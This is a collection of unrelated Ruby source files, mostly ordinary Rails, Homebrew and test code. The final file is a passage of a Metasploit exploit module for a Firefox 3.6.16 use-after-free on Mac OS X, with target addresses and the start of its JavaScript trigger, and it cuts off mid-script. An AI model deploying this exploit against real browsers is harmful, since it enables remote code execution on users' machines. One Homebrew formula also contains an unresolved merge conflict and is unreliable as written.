APU=#{Formula["apr-util"].opt_prefix} ZLIB=#{Formula["zlib"].opt_prefix} ] system "scons", *args system "scons", "install" end # Use existing system zlib # Use dep-provided other libraries # Don't mess with Apache modules (since we're not sudo) zlib = OS.mac? ? "#{MacOS.sdk_path_if_needed}/usr" : Formula["zlib"].opt_prefix ruby = OS.mac? ? "/usr/bin/ruby" : "#{Formula["ruby"].opt_bin}/ruby" args = %W[ --prefix=#{prefix} --disable-debug --enable-optimize --disable-mod-activation --disable-plaintext-password-storage --with-apr-util=#{Formula["apr-util"].opt_prefix} --with-apr=#{Formula["apr"].opt_prefix} --with-apxs=no --with-jdk=#{Formula["openjdk"].opt_prefix} --with-ruby-sitedir=#{lib}/ruby --with-py3c=#{py3c_prefix} --with-serf=#{serf_prefix} --with-sqlite=#{Formula["sqlite"].opt_prefix} --with-zlib=#{zlib} --without-apache-libexecdir --without-berkeley-db --without-gpg-agent --enable-javahl --without-jikes <<<<<<< HEAD RUBY=#{ruby} ======= PYTHON=#{Formula["[email protected]"].opt_bin}/python3 RUBY=/usr/bin/ruby >>>>>>> 1935bc45ce ] inreplace "Makefile.in", "toolsdir = @bindir@/svn-tools", "toolsdir = @libexecdir@/svn-tools" # regenerate configure file as we patched `build/ac-macros/swig.m4` system "./autogen.sh" if build.head? system "./configure", *args system "make" # Fix ld: cannot find -lsvn_delta-1 ENV.deparallelize { system "make", "install" } bash_completion.install "tools/client-side/bash_completion" => "subversion" system "make", "tools" system "make", "install-tools" system "make", "swig-py" system "make", "install-swig-py" (lib/"python3.8/site-packages").install_symlink Dir["#{lib}/svn-python/*"] # Java and Perl support don't build correctly in parallel: # https://github.com/Homebrew/homebrew/issues/20415 ENV.deparallelize system "make", "javahl" system "make", "install-javahl" archlib = Utils.popen_read("perl -MConfig -e 'print $Config{archlib}'") perl_core = Pathname.new(archlib)/"CORE" onoe "'#{perl_core}' does not exist" unless perl_core.exist? if OS.mac? inreplace "Makefile" do |s| s.change_make_var! "SWIG_PL_INCLUDES", "$(SWIG_INCLUDES) -arch x86_64 -g -pipe -fno-common " \ "-DPERL_DARWIN -fno-strict-aliasing -I#{HOMEBREW_PREFIX}/include -I#{perl_core}" end end system "make", "swig-pl" system "make", "install-swig-pl" # This is only created when building against system Perl, but it isn't # purged by Homebrew's post-install cleaner because that doesn't check # "Library" directories. It is however pointless to keep around as it # only contains the perllocal.pod installation file. rm_rf prefix/"Library/Perl" end def caveats <<~EOS svntools have been installed to: #{opt_libexec} The perl bindings are located in various subdirectories of: #{opt_lib}/perl5 You may need to link the Java bindings into the Java Extensions folder: sudo mkdir -p /Library/Java/Extensions sudo ln -s #{HOMEBREW_PREFIX}/lib/libsvnjavahl-1.dylib /Library/Java/Extensions/libsvnjavahl-1.dylib EOS end test do system "#{bin}/svnadmin", "create", "test" system "#{bin}/svnadmin", "verify", "test" system "perl", "-e", "use SVN::Client; new SVN::Client()" end end __END__ diff --git a/subversion/bindings/swig/perl/native/Makefile.PL.in b/subversion/bindings/swig/perl/native/Makefile.PL.in index a60430b..bd9b017 100644 --- a/subversion/bindings/swig/perl/native/Makefile.PL.in +++ b/subversion/bindings/swig/perl/native/Makefile.PL.in @@ -76,10 +76,13 @@ my $apr_ldflags = '@SVN_APR_LIBS@' chomp $apr_shlib_path_var; +my $config_ccflags = $Config{ccflags}; +$config_ccflags =~ s/-arch\s+\S+//g; + my %config = ( ABSTRACT => 'Perl bindings for Subversion', DEFINE => $cppflags, - CCFLAGS => join(' ', $cflags, $Config{ccflags}), + CCFLAGS => join(' ', $cflags, $config_ccflags), INC => join(' ', $includes, $cppflags, " -I$swig_srcdir/perl/libsvn_swig_perl", " -I$svnlib_srcdir/include",
35.385321
118
0.652969
1d99ec93e258ea8fbe89006c4610577b705da1bb
2,122
# frozen_string_literal: true require 'fast_spec_helper' require_relative '../../../../rubocop/cop/gitlab/const_get_inherit_false' RSpec.describe RuboCop::Cop::Gitlab::ConstGetInheritFalse do subject(:cop) { described_class.new } context 'Object.const_get' do it 'registers an offense with no 2nd argument and corrects' do expect_offense(<<~PATTERN) Object.const_get(:CONSTANT) ^^^^^^^^^ Use inherit=false when using const_get. PATTERN expect_correction(<<~PATTERN) Object.const_get(:CONSTANT, false) PATTERN end context 'inherit=false' do it 'does not register an offense' do expect_no_offenses(<<~PATTERN) Object.const_get(:CONSTANT, false) PATTERN end end context 'inherit=true' do it 'registers an offense and corrects' do expect_offense(<<~PATTERN) Object.const_get(:CONSTANT, true) ^^^^^^^^^ Use inherit=false when using const_get. PATTERN expect_correction(<<~PATTERN) Object.const_get(:CONSTANT, false) PATTERN end end end context 'const_get for a nested class' do it 'registers an offense on reload usage and corrects' do expect_offense(<<~PATTERN) Nested::Blog.const_get(:CONSTANT) ^^^^^^^^^ Use inherit=false when using const_get. PATTERN expect_correction(<<~PATTERN) Nested::Blog.const_get(:CONSTANT, false) PATTERN end context 'inherit=false' do it 'does not register an offense' do expect_no_offenses(<<~PATTERN) Nested::Blog.const_get(:CONSTANT, false) PATTERN end end context 'inherit=true' do it 'registers an offense if inherit is true and corrects' do expect_offense(<<~PATTERN) Nested::Blog.const_get(:CONSTANT, true) ^^^^^^^^^ Use inherit=false when using const_get. PATTERN expect_correction(<<~PATTERN) Nested::Blog.const_get(:CONSTANT, false) PATTERN end end end end
27.558442
73
0.618756
e89f72f4f521250884371ed8c5328fb059bdaf0a
1,488
class RestartWorkerException < RuntimeError end class WebhookWorker include Sidekiq::Worker sidekiq_options queue: :webhooks, retry: 4, unique: :until_and_while_executing, unique_args: :unique_args def self.unique_args(args) [args[3]] # batch_id end sidekiq_retry_in do |count| # retry between 15-20 minutes first, then 30-40 minutes next, then 45-60 minutes next, etc # we have randomness here to make sure that waiting webhooks don't all come in at the same time (rand(15..19) * 60) * (count + 1) end SIGNATURE_HEADER = "X-LinkCheckerApi-Signature".freeze def perform(report, uri, secret_token, batch_id) body = report.to_json batch = Batch.find(batch_id) return if batch.webhook_triggered connection.post do |req| req.url uri req.headers["Content-Type"] = "application/json" req.headers["User-Agent"] = "#{ENV.fetch('GOVUK_APP_NAME', 'link-checker-api')} (webhook-worker)" req.headers[SIGNATURE_HEADER] = generate_signature(body, secret_token) if secret_token req.body = body end batch.update!(webhook_triggered: true) rescue Faraday::ClientError => e logger.error e.message raise RestartWorkerException end def connection Faraday.new do |faraday| faraday.adapter Faraday.default_adapter faraday.use Faraday::Response::RaiseError end end def generate_signature(body, key) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("sha1"), key, body) end end
28.615385
107
0.713038
d5c14a5b65b37ec09a75db1e815bf6a64bae454f
2,711
# -*- encoding: utf-8 -*- # stub: ast 2.3.0 ruby lib Gem::Specification.new do |s| s.name = "ast".freeze s.version = "2.3.0" s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version= s.require_paths = ["lib".freeze] s.authors = ["whitequark".freeze] s.date = "2016-06-07" s.description = "A library for working with Abstract Syntax Trees.".freeze s.email = ["[email protected]".freeze] s.homepage = "https://whitequark.github.io/ast/".freeze s.licenses = ["MIT".freeze] s.rubygems_version = "2.6.14".freeze s.summary = "A library for working with Abstract Syntax Trees.".freeze s.installed_by_version = "2.6.14" if s.respond_to? :installed_by_version if s.respond_to? :specification_version then s.specification_version = 4 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_development_dependency(%q<rake>.freeze, ["~> 10.0"]) s.add_development_dependency(%q<bacon>.freeze, ["~> 1.2"]) s.add_development_dependency(%q<bacon-colored_output>.freeze, [">= 0"]) s.add_development_dependency(%q<simplecov>.freeze, [">= 0"]) s.add_development_dependency(%q<coveralls>.freeze, [">= 0"]) s.add_development_dependency(%q<json_pure>.freeze, [">= 0"]) s.add_development_dependency(%q<mime-types>.freeze, ["~> 1.25"]) s.add_development_dependency(%q<rest-client>.freeze, ["~> 1.6.7"]) s.add_development_dependency(%q<yard>.freeze, [">= 0"]) s.add_development_dependency(%q<kramdown>.freeze, [">= 0"]) else s.add_dependency(%q<rake>.freeze, ["~> 10.0"]) s.add_dependency(%q<bacon>.freeze, ["~> 1.2"]) s.add_dependency(%q<bacon-colored_output>.freeze, [">= 0"]) s.add_dependency(%q<simplecov>.freeze, [">= 0"]) s.add_dependency(%q<coveralls>.freeze, [">= 0"]) s.add_dependency(%q<json_pure>.freeze, [">= 0"]) s.add_dependency(%q<mime-types>.freeze, ["~> 1.25"]) s.add_dependency(%q<rest-client>.freeze, ["~> 1.6.7"]) s.add_dependency(%q<yard>.freeze, [">= 0"]) s.add_dependency(%q<kramdown>.freeze, [">= 0"]) end else s.add_dependency(%q<rake>.freeze, ["~> 10.0"]) s.add_dependency(%q<bacon>.freeze, ["~> 1.2"]) s.add_dependency(%q<bacon-colored_output>.freeze, [">= 0"]) s.add_dependency(%q<simplecov>.freeze, [">= 0"]) s.add_dependency(%q<coveralls>.freeze, [">= 0"]) s.add_dependency(%q<json_pure>.freeze, [">= 0"]) s.add_dependency(%q<mime-types>.freeze, ["~> 1.25"]) s.add_dependency(%q<rest-client>.freeze, ["~> 1.6.7"]) s.add_dependency(%q<yard>.freeze, [">= 0"]) s.add_dependency(%q<kramdown>.freeze, [">= 0"]) end end
45.183333
112
0.637772
6168d281f2b986b65ab5d87b4b1f470534ac4d28
1,248
require "spec_helper" describe Apress::Api::V1::TokensController, type: :controller do render_views let!(:client) { create "api/client" } describe "#create" do context "when client doesn't exist" do it do post :create, client_id: "no-name" expect(response.status).to eq 404 end end context "when refresh token not valid" do it do post :create, client_id: client.access_id, refresh_token: "bad-token" expect(response.status).to eq 400 end end context "when refresh token expired" do it do Timecop.travel(1.year.from_now) post :create, client_id: client.access_id, refresh_token: client.refresh_token expect(response.status).to eq 403 Timecop.return end end context "when refresh token is valid" do it "returns regenerated tokens" do post :create, client_id: client.access_id, refresh_token: client.refresh_token expect(response.status).to eq 200 client.reload json = JSON.parse(response.body) expect(json["client"]["secret_token"]).to eq client.secret_token expect(json["client"]["refresh_token"]).to eq client.refresh_token end end end end
27.130435
86
0.653846
6a44a1e4f8030eed45a5c7f76dd1e4b3400c54fa
2,463
module Admin::BaseHelper include ActionView::Helpers::DateHelper def toggle_element(element, label = t('generic.change')) link_to label, "##{element}", data: { toggle: :collapse } end def class_for_admin_state(sidebar, this_position) case sidebar.admin_state when :active return 'active alert-info' when :will_change_position if this_position == sidebar.active_position return 'will_change ghost' else return 'will_change alert-warning' end else raise sidebar.admin_state.inspect end end def text_filter_options TextFilter.all.map do |filter| [filter.description, filter] end end def text_filter_options_with_id TextFilter.all.map do |filter| [filter.description, filter.id] end end def plugin_options(kind) PublifyPlugins::Keeper.available_plugins(kind).map do |plugin| [plugin.name, plugin.to_s] end end def show_actions(item) content_tag(:div, class: 'action', style: '') do safe_join [button_to_edit(item), button_to_delete(item), button_to_short_url(item)], ' ' end end def display_pagination(collection, cols, _first = '', _last = '') return if collection.count == 0 content_tag(:tr) do content_tag(:td, paginate(collection), class: 'paginate', colspan: cols) end end def button_to_edit(item) link_to(content_tag(:span, '', class: 'glyphicon glyphicon-pencil'), { action: 'edit', id: item.id }, { class: 'btn btn-primary btn-xs btn-action' }) end def button_to_delete(item) confirm_text = t('admin.shared.destroy.are_you_sure', element: item.class.name.downcase) link_to( content_tag(:span, '', class: 'glyphicon glyphicon-trash'), { action: 'destroy', id: item.id }, { class: 'btn btn-danger btn-xs btn-action', method: :delete, data: { confirm: confirm_text } } ) end def button_to_short_url(item) return '' if item.short_url.nil? link_to(content_tag(:span, '', class: 'glyphicon glyphicon-link'), item.short_url, class: 'btn btn-success btn-xs btn-action') end def twitter_available?(blog, user) blog.has_twitter_configured? && user.has_twitter_configured? end def menu_item(name, url) if current_page? url content_tag(:li, link_to(name, '#'), class: 'active') else content_tag(:li, link_to(name, url)) end end end
27.988636
153
0.660171
1cbe03f1ccfd7570310f2c7acfc12595c8214ef0
1,170
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE require 'aws-sdk-core' require 'aws-sigv4' require_relative 'aws-sdk-codestar/types' require_relative 'aws-sdk-codestar/client_api' require_relative 'aws-sdk-codestar/client' require_relative 'aws-sdk-codestar/errors' require_relative 'aws-sdk-codestar/resource' require_relative 'aws-sdk-codestar/customizations' # This module provides support for AWS CodeStar. This module is available in the # `aws-sdk-codestar` gem. # # # Client # # The {Client} class provides one method for each API operation. Operation # methods each accept a hash of request parameters and return a response # structure. # # See {Client} for more information. # # # Errors # # Errors returned from AWS CodeStar all # extend {Errors::ServiceError}. # # begin # # do stuff # rescue Aws::CodeStar::Errors::ServiceError # # rescues all service API errors # end # # See {Errors} for more information. # # @service module Aws::CodeStar GEM_VERSION = '1.7.0' end
24.375
80
0.74359
11437f8192e655b19edee4237422ced1fdfe139e
1,325
module SessionsHelper # 渡されたユーザーでログインする def log_in(user) session[:user_id] = user.id end # ユーザーのセッションを永続的にする def remember(user) user.remember cookies.permanent.signed[:user_id] = user.id cookies.permanent[:remember_token] = user.remember_token end # 現在ログインしているユーザーを返す (いる場合) def current_user if (user_id = session[:user_id]) @current_user ||= User.find_by(id: user_id) elsif (user_id = cookies.signed[:user_id]) user = User.find_by(id: user_id) if user && user.authenticated?(cookies[:remember_token]) log_in user @current_user = user end end end # ユーザーがログインしていればtrue、その他ならfalseを返す def logged_in? !current_user.nil? end # 永続的セッションを破棄する def forget(user) user.forget cookies.delete(:user_id) cookies.delete(:remember_token) end # 現在のユーザーをログアウトする def log_out forget(current_user) session.delete(:user_id) @current_user = nil end # 記憶トークンcookieに対応するユーザーを返す def current_user if (user_id = session[:user_id]) @current_user ||= User.find_by(id: user_id) elsif (user_id = cookies.signed[:user_id]) user = User.find_by(id: user_id) if user && user.authenticated?(cookies[:remember_token]) log_in user @current_user = user end end end end
22.457627
62
0.669434
edaf27b6ea37d3cffc0b0ecf185d34534af329b5
5,413
class Admin::AttachmentsController < Admin::BaseController before_action :limit_attachable_access, if: :attachable_is_an_edition? before_action :check_attachable_allows_attachment_type before_action :forbid_editing_of_locked_documents, if: :attachable_is_an_edition? rescue_from Mysql2::Error, with: :handle_duplicate_key_errors_caused_by_double_create_requests def index; end def order attachment_ids = params.permit!.to_h[:ordering].sort_by { |_, ordering| ordering.to_i }.map { |id, _| id } attachable.reorder_attachments(attachment_ids) redirect_to attachable_attachments_path(attachable), notice: "Attachments re-ordered" end def new; end def create if save_attachment attachment_updater redirect_to attachable_attachments_path(attachable), notice: "Attachment '#{attachment.title}' uploaded" else render :new end end def update attachment.attributes = attachment_params if attachment.is_a?(FileAttachment) attachment.attachment_data.attachable = attachable end if save_attachment attachment_updater message = "Attachment '#{attachment.title}' updated" redirect_to attachable_attachments_path(attachable), notice: message else render :edit end end def update_many errors = {} params[:attachments].each do |id, attributes| attachment = attachable.attachments.find(id) attachment.assign_attributes(attributes.permit(:title)) if attachment.save(context: :user_input) attachment_updater else errors[id] = attachment.errors.full_messages end end if errors.empty? render json: { result: :success } else render json: { result: :failure, errors: errors }, status: :unprocessable_entity end end def destroy attachment.destroy! attachment_updater redirect_to attachable_attachments_path(attachable), notice: "Attachment deleted" end def attachable_attachments_path(attachable) case attachable when Response [:admin, attachable.consultation, attachable.singular_routing_symbol] else [:admin, typecast_for_attachable_routing(attachable), Attachment] end end helper_method :attachable_attachments_path private def attachment @attachment ||= find_attachment || build_attachment end helper_method :attachment def find_attachment attachable.attachments.find(params[:id]) if params[:id] end def build_attachment case type when "html" build_html_attachment when "external" build_external_attachment else build_file_attachment end end def build_html_attachment HtmlAttachment.new(attachment_params).tap do |attachment| attachment.build_govspeak_content if attachment.govspeak_content.blank? end end def build_external_attachment ExternalAttachment.new(attachment_params) end def build_file_attachment FileAttachment.new(attachment_params).tap do |file_attachment| file_attachment.build_attachment_data unless file_attachment.attachment_data file_attachment.attachment_data.attachable = attachable end end def attachment_params params.fetch(:attachment, {}).permit( :title, :locale, :isbn, :unique_reference, :command_paper_number, :unnumbered_command_paper, :hoc_paper_number, :unnumbered_hoc_paper, :parliamentary_session, :accessible, :external_url, govspeak_content_attributes: %i[id body manually_numbered_headings], attachment_data_attributes: %i[file to_replace_id file_cache], ).merge(attachable: attachable) end def type params[:type].presence || "file" end def check_attachable_allows_attachment_type redirect_to attachable_attachments_path(attachable) unless attachable.allows_attachment_type?(type) end def attachable_param params.keys.find { |k| k =~ /_id$/ } end def attachable_class if attachable_param attachable_param.sub(/_id$/, "").classify.constantize else raise ActiveRecord::RecordNotFound end rescue NameError raise ActiveRecord::RecordNotFound end def attachable_id params[attachable_param] end def attachable_scope attachable_class.respond_to?(:friendly) ? attachable_class.friendly : attachable_class end def attachable @attachable ||= attachable_scope.find(attachable_id) end helper_method :attachable def attachable_is_an_edition? attachable_class == Edition end def limit_attachable_access enforce_permission!(:see, attachable) enforce_permission!(:update, attachable) @edition = attachable prevent_modification_of_unmodifiable_edition end def handle_duplicate_key_errors_caused_by_double_create_requests(exception) if action_name == "create" && exception.message =~ /Duplicate entry .+ for key 'no_duplicate_attachment_orderings'/ redirect_to attachable_attachments_path(attachable), notice: "Attachment '#{attachment.title}' uploaded" else raise end end def save_attachment result = attachment.save(context: :user_input) if result && attachment.is_a?(HtmlAttachment) Whitehall::PublishingApi.save_draft(attachment) end result end def attachment_updater ServiceListeners::AttachmentUpdater.call(attachable: attachable.reload) end end
26.665025
119
0.739701
39bf8598f045ee72bb2927bee744c6c51f25422d
501
# frozen_string_literal: true class Profile < ApplicationRecord belongs_to :user, inverse_of: :profile after_initialize :remove_at_from_twitter_username validates :github_username, format: { with: /\A([a-z0-9-]+-)*[a-z0-9]+\Z/i, allow_blank: true } validates :twitter_username, format: { with: /\A@?\w{1,15}\Z/i, allow_blank: true } validates :user_id, uniqueness: true def remove_at_from_twitter_username self.twitter_username = twitter_username.try(:gsub, /\A@*/, '') end end
29.470588
97
0.724551
264dd475fc0ad054e9a1be057c64b493e50fafd5
1,783
class Nanopolish < Formula # cite Loman_2015: "https://doi.org/10.1038/nmeth.3444" desc "Signal-level algorithms for MinION data" homepage "https://github.com/jts/nanopolish" url "https://github.com/jts/nanopolish.git", tag: "v0.12.0", revision: "6a1333c0106e0969a13ed8fc40153c18e8da4790" license "MIT" head "https://github.com/jts/nanopolish.git" bottle do root_url "https://linuxbrew.bintray.com/bottles-bio" cellar :any sha256 "96585ee4d83de6848fcb18f15499b07bc90bb3b1dec358aa1040d307d2c64df3" => :catalina sha256 "024891195b39013008a3a2d03946617697602335077d36930e975091232ca8b8" => :x86_64_linux end depends_on "eigen" => :build # static link depends_on "wget" => :build depends_on "gcc" if OS.mac? # needs openmp depends_on "hdf5" depends_on "htslib" depends_on "[email protected]" # for scripts uses_from_macos "bzip2" uses_from_macos "zlib" fails_with :clang # needs openmp def install # remove this when 0.12.1 comes out # https://github.com/jts/nanopolish/commit/466c63d24896084535e8072e20d0aabc981a9888 inreplace "src/nanopolish_call_methylation.cpp", "<omp.h>", " <omp.h>\n#include <zlib.h>" system "make", "EIGEN=1", "HDF5=1", "HTS=1", "EIGEN_INCLUDE=-I#{Formula["eigen"].opt_include}/eigen3" prefix.install "scripts", "nanopolish" bin.install_symlink "../nanopolish" pkgshare.install "test" end test do assert_match version.to_s, shell_output("#{bin}/nanopolish --version") assert_match "extracted 1 read", shell_output("#{bin}/nanopolish extract -o out.fasta \ #{pkgshare}/test/data/LomanLabz_PC_Ecoli_K12_R7.3_2549_1_ch8_file30_strand.fast5 2>&1") assert_match ">channel_8_read_24", File.read("out.fasta") end end
35.66
107
0.710039
bb8977b963b9b5c1c55ec392f84289e163160947
220
# frozen-string-literal: true # Simple controller for showing the changelog class ChangelogController < ApplicationController def index @view_state = LanguageState.new(UserLanguageSelection.new(params)) end end
24.444444
70
0.8
1db735ef026e4af1845585f0b2203a74a703ae59
1,875
require 'shouty' DEFAULT_RANGE = 100 Before do @people = {} @network = Shouty::Network.new(DEFAULT_RANGE) @messages_shouted_by = Hash.new([]) end Given "the range is {int}" do |range| @network = Shouty::Network.new(range) end Given "a person named {word}" do |name| @people[name] = Shouty::Person.new(@network, 0) end Given "people are located at" do |table| table.transpose.symbolic_hashes.each do |name: , location: | @people[name] = Shouty::Person.new(@network, location.to_i) end end Given('Sean has bought {int} credits') do |credits| @people["Sean"].credits = credits end When "Sean shouts" do @people["Sean"].shout("Hello, world") @messages_shouted_by["Sean"] << "Hello, world" end When "Sean shouts {string}" do |message| @people["Sean"].shout(message) @messages_shouted_by["Sean"] << message end When 'Sean shouts the following message' do |message| @people["Sean"].shout(message) @messages_shouted_by["Sean"] << message end Then "Lucy should hear Sean's message" do expect(@people['Lucy'].messages_heard).to eq [@messages_shouted_by["Sean"][0]] end Then "Lucy should hear a shout" do expect(@people['Lucy'].messages_heard.count).to eq 1 end Then "Larry should not hear Sean's message" do expect(@people['Larry'].messages_heard).not_to include(@messages_shouted_by["Sean"][0]) end Then "{word} should not hear a shout" do |name| expect(@people[name].messages_heard.count).to eq 0 end Then "Lucy hears the following messages:" do |expected_messages| actual_messages = @people['Lucy'].messages_heard.map { |message| [ message ] } expected_messages.diff!(actual_messages) end Then("Lucy hears all Sean's messages") do expect(@people["Lucy"].messages_heard).to match(@messages_shouted_by["Sean"]) end Then("Sean should have {int} credits") do |credits| expect(@people["Sean"].credits).to eql(credits) end
25.684932
89
0.713067
6abc6d409f81ac8bc0027d303095956b967b3ba0
2,177
module Spree class Promotion module Actions class CreateAdjustment < PromotionAction include Spree::CalculatedAdjustments include Spree::AdjustmentSource has_many :adjustments, as: :source delegate :eligible?, to: :promotion before_validation :ensure_action_has_calculator before_destroy :deals_with_adjustments_for_deleted_source # Creates the adjustment related to a promotion for the order passed # through options hash # # Returns `true` if an adjustment is applied to an order, # `false` if the promotion has already been applied. def perform(options = {}) order = options[:order] return if promotion_credit_exists?(order) amount = compute_amount(order) return if amount == 0 Spree::Adjustment.create!( amount: amount, order: order, adjustable: order, source: self, label: "#{Spree.t(:promotion)} (#{promotion.name})" ) true end # Ensure a negative amount which does not exceed the sum of the order's # item_total and ship_total def compute_amount(calculable) amount = self.calculator.compute(calculable).to_f.abs [(calculable.item_total + calculable.ship_total), amount].min * -1 end private # Tells us if there if the specified promotion is already associated with the line item # regardless of whether or not its currently eligible. Useful because generally # you would only want a promotion action to apply to order no more than once. # # Receives an adjustment +source+ (here a PromotionAction object) and tells # if the order has adjustments from that already def promotion_credit_exists?(adjustable) self.adjustments.where(:adjustable_id => adjustable.id).exists? end def ensure_action_has_calculator return if self.calculator self.calculator = Calculator::FlatPercentItemTotal.new end end end end end
34.555556
97
0.631603
bf358ff08085a18c0c46f597a0e62fd68b2864da
1,741
require "restforce" require "active_force" require "openstax/salesforce/active_force" require "openstax/salesforce/engine" require "openstax/salesforce/client" require "openstax/salesforce/remote/term_year" require "openstax/salesforce/remote/book" require "openstax/salesforce/remote/school" require "openstax/salesforce/remote/opportunity" require "openstax/salesforce/remote/tutor_course_period" require "openstax/salesforce/remote/contact" require "openstax/salesforce/remote/lead" require "openstax/salesforce/remote/campaign" require "openstax/salesforce/remote/campaign_member" require "openstax/salesforce/remote/account_contact_relation" module OpenStax module Salesforce def self.configure yield configuration end def self.configuration @configuration ||= Configuration.new end # See `config/initializers/openstax_salesforce.rb` for documentation on options class Configuration attr_writer :api_version, :login_domain attr_accessor :username, :password, :security_token, :consumer_key, :consumer_secret def api_version @api_version ||= '51.0' end def login_domain @login_domain ||= 'test.salesforce.com' end def validate! raise(IllegalState, "The Salesforce username is missing") if username.nil? raise(IllegalState, "The Salesforce password is missing") if password.nil? raise(IllegalState, "The Salesforce security token is missing") if security_token.nil? raise(IllegalState, "The Salesforce consumer key is missing") if consumer_key.nil? raise(IllegalState, "The Salesforce consumer secret is missing") if consumer_secret.nil? end end module Remote end end end
31.089286
96
0.750144
e9d549168a42e08c21b6c60cc40d147bc0291340
3,902
module ApplicationHelper # # The OmniAuth path for the given +provider+. # # @param [String, Symbol] provider # def auth_path(provider) "/auth/#{provider}" end # # Returns a possessive version of the string # # @param name [String] # # @return [String] # def posessivize(name) return name if name.blank? if name.last == 's' name + "'" else name + "'s" end end # # Returns flash message class for a given flash message name # # @param name [String] # # @return [String] # def flash_message_class_for(name) { 'notice' => 'success', 'alert' => 'alert', 'warning' => 'warning' }.fetch(name) end def advanced_options_available? supported_architectures.any? || supported_platforms.any? end def supported_architectures architectures_or_nil = extension_version_configurations_summary['arch'] Array.wrap(architectures_or_nil) end def supported_platforms platforms_or_nil = extension_version_configurations_summary['platform'] Array.wrap(platforms_or_nil) end def supported_tiers cache_key = Tier.maximum(:updated_at).to_f return Rails.cache.fetch("#{cache_key}/tiers_summary") do Tier.all.order(:name) end end def tier_description(tier) case tier when 'Community' 'Open-source assets shared by the Sensu Community. Collaborate, share, and star your favorites with Bonsai.' when 'Supported' 'Open-source assets supported by Sensu Inc., including supported Slack, PagerDuty, and InfluxDB handlers.' when 'Enterprise' 'Hosted assets unlocked with a Sensu enterprise license. See the Sensu docs for more information about managing your Sensu license.' else '' end end private # Returns a +Hash+ that looks like: # {"arch"=>["x86_64", "ppc", "aarch64", "armv7hl"], # "platform"=>["linux", "OSX", "alpine"]} # # None of the keys (e.g. "arch" or "platform") are guaranteed to be in the # returned +Hash+ object. Caveat caller. def extension_version_configurations_summary # Bust the cache whenever an +ExtensionVersion+ is updated. cache_key = ExtensionVersion.maximum(:updated_at).to_f return Rails.cache.fetch("#{cache_key}/extension_version_configurations_summary") do scope = ExtensionVersion.active gather_configuration_summary(scope) end end def gather_configuration_summary(scope=ExtensionVersion) # cb.to_sql is "\"extension_versions\".\"config\" -> 'builds'" cb = Arel::Nodes::InfixOperation.new('->', ExtensionVersion.arel_table[:config], Arel::Nodes.build_quoted('builds')) # nf.to_sql is "jsonb_array_elements(\"extension_versions\".\"config\" -> 'builds')" nf = Arel::Nodes::NamedFunction.new('jsonb_array_elements', [cb]) # +all_config+ will look like: # [{"arch" => "x86_64", # "platform" => "alpine", # ...}, # {"arch" => "aarch64", # "platform" => "linux", # ...}, # {"arch" => "x86_64", # "platform" => "linux", # ...}] all_configs = scope .distinct .pluck(nf) # +pairs_of_interest+ will look like: # [["arch", "x86_64"], # ["platform", "alpine"], # ["arch", "aarch64"], # ["platform", "linux"], # ["platform", "OSX"], # ["arch", "armv7hl"], # ["arch", "ppc"]] pairs_of_interest = all_configs .map { |h| h.slice('arch', 'platform') } .map(&:to_a) .flatten(1) .uniq pairs_of_interest .group_by(&:first) .transform_values { |arrs| arrs.map(&:second).sort_by(&:downcase) } end end
28.071942
140
0.591748
870e5fdfe24992f8cea6c3925417bcdcfecc04ba
5,064
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => true, # :rank => NormalRanking, #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Mozilla Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovery 'Rh0', # windows metasploit module 'argp <argp[at]census-labs.com>' # mac os x version ], 'References' => [ ['CVE', '2011-0065'], ['OSVDB', '72085'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'Payload' => { 'Space' => 1024, }, 'Platform' => 'osx', 'Targets' => [ [ # Firefox 3.6.16 on Lion runs as a 32-bit process 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)', { 'Arch' => ARCH_X86, 'Fakevtable' => 0x2727, 'Fakefunc' => 0x2727001c, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 10 2011' )) end def on_request_uri(cli, request) # random javascript variable names js_element_name = rand_text_alpha(rand(10) + 5) js_obj_addr_name = rand_text_alpha(rand(10) + 5) js_sc_name = rand_text_alpha(rand(10) + 5) js_ret_addr_name = rand_text_alpha(rand(10) + 5) js_chunk_name = rand_text_alpha(rand(10) + 5) js_final_chunk_name = rand_text_alpha(rand(10) + 5) js_block_name = rand_text_alpha(rand(10) + 5) js_array_name = rand_text_alpha(rand(10) + 5) # check for non vulnerable targets agent = request.headers['User-Agent'] if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/ vprint_error("Target not supported: #{agent}") send_not_found(cli) return end # re-generate the payload return if ((payload = regenerate_payload(cli).encoded) == nil) payload_buf = '' payload_buf << payload escaped_payload = Rex::Text.to_unescape(payload_buf) # setup the fake memory references my_target = targets[0] # in case we add more targets later fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v')) fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*')) exploit_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink); #{js_element_name}.onChannelRedirect(null, new Object, 0) #{js_obj_addr_name} = 